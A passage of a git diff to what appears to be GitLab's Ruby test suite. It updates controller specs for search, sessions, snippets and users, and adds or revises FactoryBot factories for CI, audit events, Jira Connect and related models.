using RSpec::Parameterized::TableSyntax
render_views
- it 'omits pipeline status from load' do
- project = create(:project, :public)
- expect(Gitlab::Cache::Ci::ProjectPipelineStatus).not_to receive(:load_in_batch_for_projects)
+ context 'when block_anonymous_global_searches is disabled' do
+ before do
+ stub_feature_flags(block_anonymous_global_searches: false)
+ end
- get :show, params: { scope: 'projects', search: project.name }
+ it 'omits pipeline status from load' do
+ project = create(:project, :public)
+ expect(Gitlab::Cache::Ci::ProjectPipelineStatus).not_to receive(:load_in_batch_for_projects)
- expect(assigns[:search_objects].first).to eq project
- end
+ get :show, params: { scope: 'projects', search: project.name }
- context 'check search term length' do
- let(:search_queries) do
- char_limit = SearchService::SEARCH_CHAR_LIMIT
- term_limit = SearchService::SEARCH_TERM_LIMIT
- {
- chars_under_limit: ('a' * (char_limit - 1)),
- chars_over_limit: ('a' * (char_limit + 1)),
- terms_under_limit: ('abc ' * (term_limit - 1)),
- terms_over_limit: ('abc ' * (term_limit + 1))
- }
+ expect(assigns[:search_objects].first).to eq project
end
- where(:string_name, :expectation) do
- :chars_under_limit | :not_to_set_flash
- :chars_over_limit | :set_chars_flash
- :terms_under_limit | :not_to_set_flash
- :terms_over_limit | :set_terms_flash
- end
+ context 'check search term length' do
+ let(:search_queries) do
+ char_limit = SearchService::SEARCH_CHAR_LIMIT
+ term_limit = SearchService::SEARCH_TERM_LIMIT
+ {
+ chars_under_limit: ('a' * (char_limit - 1)),
+ chars_over_limit: ('a' * (char_limit + 1)),
+ terms_under_limit: ('abc ' * (term_limit - 1)),
+ terms_over_limit: ('abc ' * (term_limit + 1))
+ }
+ end
+
+ where(:string_name, :expectation) do
+ :chars_under_limit | :not_to_set_flash
+ :chars_over_limit | :set_chars_flash
+ :terms_under_limit | :not_to_set_flash
+ :terms_over_limit | :set_terms_flash
+ end
- with_them do
- it do
- get :show, params: { scope: 'projects', search: search_queries[string_name] }
-
- case expectation
- when :not_to_set_flash
- expect(controller).not_to set_flash[:alert]
- when :set_chars_flash
- expect(controller).to set_flash[:alert].to(/characters/)
- when :set_terms_flash
- expect(controller).to set_flash[:alert].to(/terms/)
+ with_them do
+ it do
+ get :show, params: { scope: 'projects', search: search_queries[string_name] }
+
+ case expectation
+ when :not_to_set_flash
+ expect(controller).not_to set_flash[:alert]
+ when :set_chars_flash
+ expect(controller).to set_flash[:alert].to(/characters/)
+ when :set_terms_flash
+ expect(controller).to set_flash[:alert].to(/terms/)
+ end
end
end
end
end
+
+ context 'when block_anonymous_global_searches is enabled' do
+ context 'for unauthenticated user' do
+ before do
+ sign_out(user)
+ end
+
+ it 'redirects to login page' do
+ get :show, params: { scope: 'projects', search: '*' }
+
+ expect(response).to redirect_to new_user_session_path
+ end
+ end
+
+ context 'for authenticated user' do
+ it 'succeeds' do
+ get :show, params: { scope: 'projects', search: '*' }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
end
it 'finds issue comments' do
@@ -149,6 +177,19 @@ RSpec.describe SearchController do
expect(assigns[:search_objects].first).to eq note
end
+ context 'unique users tracking' do
+ before do
+ allow(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event)
+ end
+
+ it_behaves_like 'tracking unique hll events', :search_track_unique_users do
+ subject { get :show, params: { scope: 'projects', search: 'term' }, format: format }
+
+ let(:target_id) { 'i_search_total' }
+ let(:expected_type) { instance_of(String) }
+ end
+ end
+
context 'on restricted projects' do
context 'when signed out' do
before do
diff --git a/spec/controllers/sessions_controller_spec.rb b/spec/controllers/sessions_controller_spec.rb
index f2e16baaccf..688539f2a03 100644
--- a/spec/controllers/sessions_controller_spec.rb
+++ b/spec/controllers/sessions_controller_spec.rb
@@ -6,11 +6,11 @@ RSpec.describe SessionsController do
include DeviseHelpers
include LdapHelpers
- describe '#new' do
- before do
- set_devise_mapping(context: @request)
- end
+ before do
+ set_devise_mapping(context: @request)
+ end
+ describe '#new' do
context 'when auto sign-in is enabled' do
before do
stub_omniauth_setting(auto_sign_in_with_provider: :saml)
@@ -59,13 +59,19 @@ RSpec.describe SessionsController do
end
end
end
- end
- describe '#create' do
- before do
- set_devise_mapping(context: @request)
+ it "redirects correctly for referer on same host with params" do
+ host = "test.host"
+ search_path = "/search?search=seed_project"
+ request.headers[:HTTP_REFERER] = "http://#{host}#{search_path}"
+
+ get(:new, params: { redirect_to_referer: :yes })
+
+ expect(controller.stored_location_for(:redirect)).to eq(search_path)
end
+ end
+ describe '#create' do
it_behaves_like 'known sign in' do
let(:user) { create(:user) }
let(:post_action) { post(:create, params: { user: { login: user.username, password: user.password } }) }
@@ -130,8 +136,13 @@ RSpec.describe SessionsController do
end
it 'creates an audit log record' do
- expect { post(:create, params: { user: user_params }) }.to change { SecurityEvent.count }.by(1)
- expect(SecurityEvent.last.details[:with]).to eq('standard')
+ expect { post(:create, params: { user: user_params }) }.to change { AuditEvent.count }.by(1)
+ expect(AuditEvent.last.details[:with]).to eq('standard')
+ end
+
+ it 'creates an authentication event record' do
+ expect { post(:create, params: { user: user_params }) }.to change { AuthenticationEvent.count }.by(1)
+ expect(AuthenticationEvent.last.provider).to eq('standard')
end
include_examples 'user login request with unique ip limit', 302 do
@@ -229,7 +240,7 @@ RSpec.describe SessionsController do
context 'when there are more than 5 anonymous session with the same IP' do
before do
- allow(Gitlab::AnonymousSession).to receive_message_chain(:new, :stored_sessions).and_return(6)
+ allow(Gitlab::AnonymousSession).to receive_message_chain(:new, :session_count).and_return(6)
end
it 'displays an error when the reCAPTCHA is not solved' do
@@ -241,7 +252,7 @@ RSpec.describe SessionsController do
end
it 'successfully logs in a user when reCAPTCHA is solved' do
- expect(Gitlab::AnonymousSession).to receive_message_chain(:new, :cleanup_session_per_ip_entries)
+ expect(Gitlab::AnonymousSession).to receive_message_chain(:new, :cleanup_session_per_ip_count)
succesful_login(user_params)
@@ -398,8 +409,13 @@ RSpec.describe SessionsController do
end
it "creates an audit log record" do
- expect { authenticate_2fa(login: user.username, otp_attempt: user.current_otp) }.to change { SecurityEvent.count }.by(1)
- expect(SecurityEvent.last.details[:with]).to eq("two-factor")
+ expect { authenticate_2fa(login: user.username, otp_attempt: user.current_otp) }.to change { AuditEvent.count }.by(1)
+ expect(AuditEvent.last.details[:with]).to eq("two-factor")
+ end
+
+ it "creates an authentication event record" do
+ expect { authenticate_2fa(login: user.username, otp_attempt: user.current_otp) }.to change { AuthenticationEvent.count }.by(1)
+ expect(AuthenticationEvent.last.provider).to eq("two-factor")
end
end
@@ -410,6 +426,10 @@ RSpec.describe SessionsController do
post(:create, params: { user: user_params }, session: { otp_user_id: user.id })
end
+ before do
+ stub_feature_flags(webauthn: false)
+ end
+
context 'remember_me field' do
it 'sets a remember_user_token cookie when enabled' do
allow(U2fRegistration).to receive(:authenticate).and_return(true)
@@ -435,31 +455,21 @@ RSpec.describe SessionsController do
it "creates an audit log record" do
allow(U2fRegistration).to receive(:authenticate).and_return(true)
- expect { authenticate_2fa_u2f(login: user.username, device_response: "{}") }.to change { SecurityEvent.count }.by(1)
- expect(SecurityEvent.last.details[:with]).to eq("two-factor-via-u2f-device")
+ expect { authenticate_2fa_u2f(login: user.username, device_response: "{}") }.to change { AuditEvent.count }.by(1)
+ expect(AuditEvent.last.details[:with]).to eq("two-factor-via-u2f-device")
end
- end
- end
-
- describe "#new" do
- before do
- set_devise_mapping(context: @request)
- end
- it "redirects correctly for referer on same host with params" do
- host = "test.host"
- search_path = "/search?search=seed_project"
- request.headers[:HTTP_REFERER] = "http://#{host}#{search_path}"
-
- get(:new, params: { redirect_to_referer: :yes })
+ it "creates an authentication event record" do
+ allow(U2fRegistration).to receive(:authenticate).and_return(true)
- expect(controller.stored_location_for(:redirect)).to eq(search_path)
+ expect { authenticate_2fa_u2f(login: user.username, device_response: "{}") }.to change { AuthenticationEvent.count }.by(1)
+ expect(AuthenticationEvent.last.provider).to eq("two-factor-via-u2f-device")
+ end
end
end
context 'when login fails' do
before do
- set_devise_mapping(context: @request)
@request.env["warden.options"] = { action: 'unauthenticated' }
end
@@ -473,10 +483,6 @@ RSpec.describe SessionsController do
describe '#set_current_context' do
let_it_be(:user) { create(:user) }
- before do
- set_devise_mapping(context: @request)
- end
-
context 'when signed in' do
before do
sign_in(user)
@@ -530,4 +536,21 @@ RSpec.describe SessionsController do
end
end
end
+
+ describe '#destroy' do
+ before do
+ sign_in(user)
+ end
+
+ context 'for a user whose password has expired' do
+ let(:user) { create(:user, password_expires_at: 2.days.ago) }
+
+ it 'allows to sign out successfully' do
+ delete :destroy
+
+ expect(response).to redirect_to(new_user_session_path)
+ expect(controller.current_user).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/controllers/snippets_controller_spec.rb b/spec/controllers/snippets_controller_spec.rb
index 92370b3381a..6517922d92a 100644
--- a/spec/controllers/snippets_controller_spec.rb
+++ b/spec/controllers/snippets_controller_spec.rb
@@ -334,12 +334,6 @@ RSpec.describe SnippetsController do
snippet.reload
end
- it_behaves_like 'updating snippet checks blob is binary' do
- let_it_be(:title) { 'Foo' }
-
- subject { put :update, params: { id: snippet, personal_snippet: { title: title } } }
- end
-
context 'when the snippet is spam' do
before do
allow_next_instance_of(Spam::AkismetService) do |instance|
@@ -746,12 +740,4 @@ RSpec.describe SnippetsController do
end
end
end
-
- describe 'GET #edit' do
- it_behaves_like 'editing snippet checks blob is binary' do
- let_it_be(:snippet) { create(:personal_snippet, :public, :repository, author: user) }
-
- subject { get :edit, params: { id: snippet } }
- end
- end
end
diff --git a/spec/controllers/users_controller_spec.rb b/spec/controllers/users_controller_spec.rb
index 99c3b82bd0d..bec4b24484a 100644
--- a/spec/controllers/users_controller_spec.rb
+++ b/spec/controllers/users_controller_spec.rb
@@ -114,71 +114,6 @@ RSpec.describe UsersController do
end
end
- describe "#ssh_keys" do
- describe "non existent user" do
- it "does not generally work" do
- get :ssh_keys, params: { username: 'not-existent' }
-
- expect(response).not_to be_successful
- end
- end
-
- describe "user with no keys" do
- it "does generally work" do
- get :ssh_keys, params: { username: user.username }
-
- expect(response).to be_successful
- end
-
- it "renders all keys separated with a new line" do
- get :ssh_keys, params: { username: user.username }
-
- expect(response.body).to eq("")
- end
-
- it "responds with text/plain content type" do
- get :ssh_keys, params: { username: user.username }
- expect(response.content_type).to eq("text/plain")
- end
- end
-
- describe "user with keys" do
- let!(:key) { create(:key, user: user) }
- let!(:another_key) { create(:another_key, user: user) }
- let!(:deploy_key) { create(:deploy_key, user: user) }
-
- it "does generally work" do
- get :ssh_keys, params: { username: user.username }
-
- expect(response).to be_successful
- end
-
- it "renders all non deploy keys separated with a new line" do
- get :ssh_keys, params: { username: user.username }
-
- expect(response.body).not_to eq('')
- expect(response.body).to eq(user.all_ssh_keys.join("\n"))
-
- expect(response.body).to include(key.key.sub(' dummy@gitlab.com', ''))
- expect(response.body).to include(another_key.key.sub(' dummy@gitlab.com', ''))
-
- expect(response.body).not_to include(deploy_key.key)
- end
-
- it "does not render the comment of the key" do
- get :ssh_keys, params: { username: user.username }
-
- expect(response.body).not_to match(/dummy@gitlab.com/)
- end
-
- it "responds with text/plain content type" do
- get :ssh_keys, params: { username: user.username }
-
- expect(response.content_type).to eq("text/plain")
- end
- end
- end
-
describe 'GET #calendar' do
context 'for user' do
let(:project) { create(:project) }
diff --git a/spec/db/schema_spec.rb b/spec/db/schema_spec.rb
index 1c9167ef025..69cd08d82e1 100644
--- a/spec/db/schema_spec.rb
+++ b/spec/db/schema_spec.rb
@@ -18,8 +18,8 @@ RSpec.describe 'Database schema' do
approvals: %w[user_id],
approver_groups: %w[target_id],
approvers: %w[target_id user_id],
- audit_events: %w[author_id entity_id],
- audit_events_part_5fc467ac26: %w[author_id entity_id],
+ audit_events: %w[author_id entity_id target_id],
+ audit_events_part_5fc467ac26: %w[author_id entity_id target_id],
award_emoji: %w[awardable_id user_id],
aws_roles: %w[role_external_id],
boards: %w[milestone_id],
@@ -35,7 +35,6 @@ RSpec.describe 'Database schema' do
deploy_keys_projects: %w[deploy_key_id],
deployments: %w[deployable_id environment_id user_id],
draft_notes: %w[discussion_id commit_id],
- emails: %w[user_id],
epics: %w[updated_by_id last_edited_by_id state_id],
events: %w[target_id],
forked_project_links: %w[forked_from_project_id],
diff --git a/spec/docs_screenshots/container_registry_docs.rb b/spec/docs_screenshots/container_registry_docs.rb
new file mode 100644
index 00000000000..7e533bdf1d7
--- /dev/null
+++ b/spec/docs_screenshots/container_registry_docs.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Container Registry', :js do
+ include DocsScreenshotHelpers
+
+ let(:user) { create(:user) }
+ let(:group) { create(:group) }
+ let(:project) { create(:project, namespace: group) }
+
+ before do
+ page.driver.browser.manage.window.resize_to(1366, 1024)
+
+ group.add_owner(user)
+ sign_in(user)
+
+ stub_container_registry_config(enabled: true)
+ stub_container_registry_tags(repository: :any, tags: [])
+ end
+
+ context 'expiration policy settings' do
+ it 'user/packages/container_registry/img/expiration_policy_form' do
+ visit project_settings_ci_cd_path(project)
+ screenshot_area = find('#js-registry-policies')
+ scroll_to screenshot_area
+ expect(screenshot_area).to have_content 'Expiration interval'
+ set_crop_data(screenshot_area, 20)
+ end
+ end
+
+ context 'project container_registry' do
+ it 'user/packages/container_registry/img/project_empty_page' do
+ visit_project_container_registry
+
+ expect(page).to have_content _('There are no container images stored for this project')
+ end
+
+ context 'with a list of repositories' do
+ before do
+ stub_container_registry_tags(repository: %r{my/image}, tags: %w[latest], with_manifest: true)
+ create_list(:container_repository, 12, project: project)
+ end
+
+ it 'user/packages/container_registry/img/project_image_repositories_list' do
+ visit_project_container_registry
+
+ expect(page).to have_content 'Image Repositories'
+ end
+
+ it 'user/packages/container_registry/img/project_image_repositories_list_with_commands_open' do
+ visit_project_container_registry
+
+ click_on 'CLI Commands'
+ end
+ end
+ end
+
+ context 'group container_registry' do
+ it 'user/packages/container_registry/img/group_empty_page' do
+ visit_group_container_registry
+
+ expect(page).to have_content 'There are no container images available in this group'
+ end
+
+ context 'with a list of repositories' do
+ before do
+ stub_container_registry_tags(repository: %r{my/image}, tags: %w[latest], with_manifest: true)
+ create_list(:container_repository, 12, project: project)
+ end
+
+ it 'user/packages/container_registry/img/group_image_repositories_list' do
+ visit_group_container_registry
+
+ expect(page).to have_content 'Image Repositories'
+ end
+ end
+ end
+
+ def visit_project_container_registry
+ visit project_container_registry_index_path(project)
+ end
+
+ def visit_group_container_registry
+ visit group_container_registries_path(group)
+ end
+end
diff --git a/spec/factories/atlassian_identities.rb b/spec/factories/atlassian_identities.rb
new file mode 100644
index 00000000000..698cf4ae7ad
--- /dev/null
+++ b/spec/factories/atlassian_identities.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :atlassian_identity, class: 'Atlassian::Identity' do
+ extern_uid { generate(:username) }
+ user { create(:user) }
+ expires_at { 2.weeks.from_now }
+ token { SecureRandom.alphanumeric(1254) }
+ refresh_token { SecureRandom.alphanumeric(45) }
+ end
+end
diff --git a/spec/factories/audit_events.rb b/spec/factories/audit_events.rb
index 38414400282..5497648273c 100644
--- a/spec/factories/audit_events.rb
+++ b/spec/factories/audit_events.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
FactoryBot.define do
- factory :audit_event, class: 'SecurityEvent', aliases: [:user_audit_event] do
+ factory :audit_event, class: 'AuditEvent', aliases: [:user_audit_event] do
user
transient { target_user { create(:user) } }
@@ -36,7 +36,7 @@ FactoryBot.define do
ip_address { IPAddr.new '127.0.0.1' }
details do
{
- change: 'packges_enabled',
+ change: 'packages_enabled',
from: true,
to: false,
author_name: user.name,
diff --git a/spec/factories/ci/bridge.rb b/spec/factories/ci/bridge.rb
index 4c1d5f07a42..5a33a30921b 100644
--- a/spec/factories/ci/bridge.rb
+++ b/spec/factories/ci/bridge.rb
@@ -53,5 +53,14 @@ FactoryBot.define do
finished
status { 'failed' }
end
+
+ trait :skipped do
+ started
+ status { 'skipped' }
+ end
+
+ trait :strategy_depend do
+ options { { trigger: { strategy: 'depend' } } }
+ end
end
end
diff --git a/spec/factories/ci/build_pending_states.rb b/spec/factories/ci/build_pending_states.rb
new file mode 100644
index 00000000000..765b7f005b9
--- /dev/null
+++ b/spec/factories/ci/build_pending_states.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_build_pending_state, class: 'Ci::BuildPendingState' do
+ build factory: :ci_build
+ trace_checksum { 'crc32:12345678' }
+ state { 'success' }
+ end
+end
diff --git a/spec/factories/ci/pipeline_artifacts.rb b/spec/factories/ci/pipeline_artifacts.rb
index ecfd1e79e78..fa33609dd6c 100644
--- a/spec/factories/ci/pipeline_artifacts.rb
+++ b/spec/factories/ci/pipeline_artifacts.rb
@@ -6,12 +6,33 @@ FactoryBot.define do
project { pipeline.project }
file_type { :code_coverage }
file_format { :raw }
- file_store { Ci::PipelineArtifact::FILE_STORE_SUPPORTED.first }
+ file_store { ObjectStorage::SUPPORTED_STORES.first }
size { 1.megabytes }
after(:build) do |artifact, _evaluator|
artifact.file = fixture_file_upload(
Rails.root.join('spec/fixtures/pipeline_artifacts/code_coverage.json'), 'application/json')
end
+
+ trait :with_multibyte_characters do
+ size { { "utf8" => "✓" }.to_json.bytesize }
+ after(:build) do |artifact, _evaluator|
+ artifact.file = CarrierWaveStringFile.new_file(
+ file_content: { "utf8" => "✓" }.to_json,
+ filename: 'filename',
+ content_type: 'application/json'
+ )
+ end
+ end
+
+ trait :with_code_coverage_with_multiple_files do
+ after(:build) do |artifact, _evaluator|
+ artifact.file = fixture_file_upload(
+ Rails.root.join('spec/fixtures/pipeline_artifacts/code_coverage_with_multiple_files.json'), 'application/json'
+ )
+ end
+
+ size { file.size }
+ end
end
end
diff --git a/spec/factories/ci/pipelines.rb b/spec/factories/ci/pipelines.rb
index 2790be8b70d..6174bfbfbb7 100644
--- a/spec/factories/ci/pipelines.rb
+++ b/spec/factories/ci/pipelines.rb
@@ -121,6 +121,12 @@ FactoryBot.define do
end
end
+ trait :with_coverage_report_artifact do
+ after(:build) do |pipeline, evaluator|
+ pipeline.pipeline_artifacts << build(:ci_pipeline_artifact, pipeline: pipeline, project: pipeline.project)
+ end
+ end
+
trait :with_terraform_reports do
status { :success }
diff --git a/spec/factories/ci_platform_metrics.rb b/spec/factories/ci_platform_metrics.rb
new file mode 100644
index 00000000000..478f9715021
--- /dev/null
+++ b/spec/factories/ci_platform_metrics.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_platform_metric do
+ recorded_at { Time.zone.now }
+ platform_target { generate(:title) }
+ count { SecureRandom.random_number(100) }
+ end
+end
diff --git a/spec/factories/clusters/kubernetes_namespaces.rb b/spec/factories/clusters/kubernetes_namespaces.rb
index c820bf4da60..efcb3abcb90 100644
--- a/spec/factories/clusters/kubernetes_namespaces.rb
+++ b/spec/factories/clusters/kubernetes_namespaces.rb
@@ -10,15 +10,18 @@ FactoryBot.define do
if cluster.project_type?
cluster_project = cluster.cluster_project
- kubernetes_namespace.project = cluster_project.project
+ kubernetes_namespace.project = cluster_project&.project
kubernetes_namespace.cluster_project = cluster_project
end
- kubernetes_namespace.namespace ||=
- Gitlab::Kubernetes::DefaultNamespace.new(
- cluster,
- project: kubernetes_namespace.project
- ).from_environment_slug(kubernetes_namespace.environment&.slug)
+ if kubernetes_namespace.project
+ kubernetes_namespace.namespace ||=
+ Gitlab::Kubernetes::DefaultNamespace.new(
+ cluster,
+ project: kubernetes_namespace.project
+ ).from_environment_slug(kubernetes_namespace.environment&.slug)
+ end
+
kubernetes_namespace.service_account_name ||= "#{kubernetes_namespace.namespace}-service-account"
end
diff --git a/spec/factories/clusters/providers/aws.rb b/spec/factories/clusters/providers/aws.rb
index 2c54300e606..497181de89a 100644
--- a/spec/factories/clusters/providers/aws.rb
+++ b/spec/factories/clusters/providers/aws.rb
@@ -4,6 +4,7 @@ FactoryBot.define do
factory :cluster_provider_aws, class: 'Clusters::Providers::Aws' do
association :cluster, platform_type: :kubernetes, provider_type: :aws
+ kubernetes_version { '1.16' }
role_arn { 'arn:aws:iam::123456789012:role/role-name' }
vpc_id { 'vpc-00000000000000000' }
subnet_ids { %w(subnet-00000000000000000 subnet-11111111111111111) }
diff --git a/spec/factories/dev_ops_report_metrics.rb b/spec/factories/dev_ops_report_metrics.rb
new file mode 100644
index 00000000000..808c70c2499
--- /dev/null
+++ b/spec/factories/dev_ops_report_metrics.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :dev_ops_report_metric, class: 'DevOpsReport::Metric' do
+ leader_issues { 9.256 }
+ instance_issues { 1.234 }
+ percentage_issues { 13.331 }
+
+ leader_notes { 30.33333 }
+ instance_notes { 28.123 }
+ percentage_notes { 92.713 }
+
+ leader_milestones { 16.2456 }
+ instance_milestones { 1.234 }
+ percentage_milestones { 7.595 }
+
+ leader_boards { 5.2123 }
+ instance_boards { 3.254 }
+ percentage_boards { 62.429 }
+
+ leader_merge_requests { 1.2 }
+ instance_merge_requests { 0.6 }
+ percentage_merge_requests { 50.0 }
+
+ leader_ci_pipelines { 12.1234 }
+ instance_ci_pipelines { 2.344 }
+ percentage_ci_pipelines { 19.334 }
+
+ leader_environments { 3.3333 }
+ instance_environments { 2.2222 }
+ percentage_environments { 66.672 }
+
+ leader_deployments { 1.200 }
+ instance_deployments { 0.771 }
+ percentage_deployments { 64.25 }
+
+ leader_projects_prometheus_active { 0.111 }
+ instance_projects_prometheus_active { 0.109 }
+ percentage_projects_prometheus_active { 98.198 }
+
+ leader_service_desk_issues { 15.891 }
+ instance_service_desk_issues { 13.345 }
+ percentage_service_desk_issues { 83.978 }
+ end
+end
diff --git a/spec/factories/dev_ops_score_metrics.rb b/spec/factories/dev_ops_score_metrics.rb
deleted file mode 100644
index 1d1f1a2c39e..00000000000
--- a/spec/factories/dev_ops_score_metrics.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-# frozen_string_literal: true
-
-FactoryBot.define do
- factory :dev_ops_score_metric, class: 'DevOpsScore::Metric' do
- leader_issues { 9.256 }
- instance_issues { 1.234 }
- percentage_issues { 13.331 }
-
- leader_notes { 30.33333 }
- instance_notes { 28.123 }
- percentage_notes { 92.713 }
-
- leader_milestones { 16.2456 }
- instance_milestones { 1.234 }
- percentage_milestones { 7.595 }
-
- leader_boards { 5.2123 }
- instance_boards { 3.254 }
- percentage_boards { 62.429 }
-
- leader_merge_requests { 1.2 }
- instance_merge_requests { 0.6 }
- percentage_merge_requests { 50.0 }
-
- leader_ci_pipelines { 12.1234 }
- instance_ci_pipelines { 2.344 }
- percentage_ci_pipelines { 19.334 }
-
- leader_environments { 3.3333 }
- instance_environments { 2.2222 }
- percentage_environments { 66.672 }
-
- leader_deployments { 1.200 }
- instance_deployments { 0.771 }
- percentage_deployments { 64.25 }
-
- leader_projects_prometheus_active { 0.111 }
- instance_projects_prometheus_active { 0.109 }
- percentage_projects_prometheus_active { 98.198 }
-
- leader_service_desk_issues { 15.891 }
- instance_service_desk_issues { 13.345 }
- percentage_service_desk_issues { 83.978 }
- end
-end
diff --git a/spec/factories/diff_position.rb b/spec/factories/diff_position.rb
index 685272acf5c..0185c4ce156 100644
--- a/spec/factories/diff_position.rb
+++ b/spec/factories/diff_position.rb
@@ -53,7 +53,10 @@ FactoryBot.define do
factory :image_diff_position do
position_type { 'image' }
x { 1 }
- y { 1 }
+ # Fix:
+ # NoMethodError: undefined method `end_line=' for nil:NilClass
+ # from /usr/lib/ruby/2.6.0/psych/tree_builder.rb:133:in `set_end_location'
+ add_attribute(:y) { 1 }
width { 10 }
height { 10 }
end
diff --git a/spec/factories/draft_note.rb b/spec/factories/draft_note.rb
index 24563dc92b7..67a3377a39f 100644
--- a/spec/factories/draft_note.rb
+++ b/spec/factories/draft_note.rb
@@ -25,7 +25,7 @@ FactoryBot.define do
factory :draft_note_on_discussion, traits: [:on_discussion]
trait :on_discussion do
- discussion_id { create(:discussion_note_on_merge_request, noteable: merge_request, project: project).discussion_id }
+ discussion_id { association(:discussion_note_on_merge_request, noteable: merge_request, project: project).discussion_id }
end
end
end
diff --git a/spec/factories/file_uploaders.rb b/spec/factories/file_uploaders.rb
index dc888fdd535..f7ceb800f14 100644
--- a/spec/factories/file_uploaders.rb
+++ b/spec/factories/file_uploaders.rb
@@ -14,7 +14,7 @@ FactoryBot.define do
end
after(:build) do |uploader, evaluator|
- uploader.store!(evaluator.file)
+ uploader.store!(evaluator.file) if evaluator.project&.persisted?
end
initialize_with do
diff --git a/spec/factories/group_members.rb b/spec/factories/group_members.rb
index 3c9d469f23c..37ddbc09616 100644
--- a/spec/factories/group_members.rb
+++ b/spec/factories/group_members.rb
@@ -3,7 +3,7 @@
FactoryBot.define do
factory :group_member do
access_level { GroupMember::OWNER }
- group
+ source { association(:group) }
user
trait(:guest) { access_level { GroupMember::GUEST } }
@@ -28,5 +28,11 @@ FactoryBot.define do
trait :blocked do
after(:build) { |group_member, _| group_member.user.block! }
end
+
+ trait :minimal_access do
+ to_create { |instance| instance.save!(validate: false) }
+
+ access_level { GroupMember::MINIMAL_ACCESS }
+ end
end
end
diff --git a/spec/factories/instance_statistics/measurement.rb b/spec/factories/instance_statistics/measurement.rb
new file mode 100644
index 00000000000..fb180c23214
--- /dev/null
+++ b/spec/factories/instance_statistics/measurement.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :instance_statistics_measurement, class: 'Analytics::InstanceStatistics::Measurement' do
+ recorded_at { Time.now }
+ identifier { :projects }
+ count { 1_000 }
+
+ trait :project_count do
+ identifier { :projects }
+ end
+
+ trait :group_count do
+ identifier { :groups }
+ end
+ end
+end
diff --git a/spec/factories/issuable_severity.rb b/spec/factories/issuable_severity.rb
new file mode 100644
index 00000000000..10ce58f7944
--- /dev/null
+++ b/spec/factories/issuable_severity.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :issuable_severity do
+ association :issue, factory: :incident
+ end
+end
diff --git a/spec/factories/issue_links.rb b/spec/factories/issue_links.rb
new file mode 100644
index 00000000000..884e4dfac08
--- /dev/null
+++ b/spec/factories/issue_links.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :issue_link do
+ source factory: :issue
+ target factory: :issue
+ end
+end
diff --git a/spec/factories/issues.rb b/spec/factories/issues.rb
index 99fe2ef9c0a..90e43b9e22c 100644
--- a/spec/factories/issues.rb
+++ b/spec/factories/issues.rb
@@ -26,6 +26,12 @@ FactoryBot.define do
closed_at { Time.now }
end
+ trait :with_alert do
+ after(:create) do |issue|
+ create(:alert_management_alert, project: issue.project, issue: issue)
+ end
+ end
+
after(:build) do |issue, evaluator|
issue.state_id = Issue.available_states[evaluator.state]
end
@@ -46,5 +52,9 @@ FactoryBot.define do
factory :incident do
issue_type { :incident }
end
+
+ factory :quality_test_case do
+ issue_type { :test_case }
+ end
end
end
diff --git a/spec/factories/jira_connect_installation.rb b/spec/factories/jira_connect_installation.rb
new file mode 100644
index 00000000000..2e3202c662c
--- /dev/null
+++ b/spec/factories/jira_connect_installation.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :jira_connect_installation do
+ sequence(:client_key) { |n| "atlassian-client-key-#{n}" }
+ shared_secret { 'jrNarHaRYaumMvfV3UnYpwt8' }
+ base_url { 'https://sample.atlassian.net' }
+ end
+end
diff --git a/spec/factories/jira_connect_subscription.rb b/spec/factories/jira_connect_subscription.rb
new file mode 100644
index 00000000000..e22b277f190
--- /dev/null
+++ b/spec/factories/jira_connect_subscription.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :jira_connect_subscription do
+ association :installation, factory: :jira_connect_installation
+ association :namespace, factory: :group
+ end
+end
diff --git a/spec/factories/labels.rb b/spec/factories/labels.rb
index 6725b571f19..a9a9416c48b 100644
--- a/spec/factories/labels.rb
+++ b/spec/factories/labels.rb
@@ -18,6 +18,13 @@ FactoryBot.define do
title { "#{prefix}::#{generate(:label_title)}" }
end
+ trait :incident do
+ properties = IncidentManagement::CreateIncidentLabelService::LABEL_PROPERTIES
+ title { properties.fetch(:title) }
+ description { properties.fetch(:description) }
+ color { properties.fetch(:color) }
+ end
+
factory :label, traits: [:base_label], class: 'ProjectLabel' do
project
diff --git a/spec/factories/merge_request_diffs.rb b/spec/factories/merge_request_diffs.rb
index 0c4c3244af5..fdb7f52f3bd 100644
--- a/spec/factories/merge_request_diffs.rb
+++ b/spec/factories/merge_request_diffs.rb
@@ -2,12 +2,26 @@
FactoryBot.define do
factory :merge_request_diff do
- association :merge_request
+ merge_request do
+ build(:merge_request) do |merge_request|
+ # MergeRequest should not create a MergeRequestDiff in the callback
+ allow(merge_request).to receive(:ensure_merge_request_diff)
+ end
+ end
+
state { :collected }
commits_count { 1 }
base_commit_sha { Digest::SHA1.hexdigest(SecureRandom.hex) }
head_commit_sha { Digest::SHA1.hexdigest(SecureRandom.hex) }
start_commit_sha { Digest::SHA1.hexdigest(SecureRandom.hex) }
+
+ trait :external do
+ external_diff { fixture_file_upload("spec/fixtures/doc_sample.txt", "plain/txt") }
+ stored_externally { true }
+ importing { true } # this avoids setting the state to 'empty'
+ end
+
+ factory :external_merge_request_diff, traits: [:external]
end
end
diff --git a/spec/factories/merge_requests.rb b/spec/factories/merge_requests.rb
index af6e88f73b1..6836d5d71f0 100644
--- a/spec/factories/merge_requests.rb
+++ b/spec/factories/merge_requests.rb
@@ -169,7 +169,7 @@ FactoryBot.define do
merge_request.head_pipeline = build(
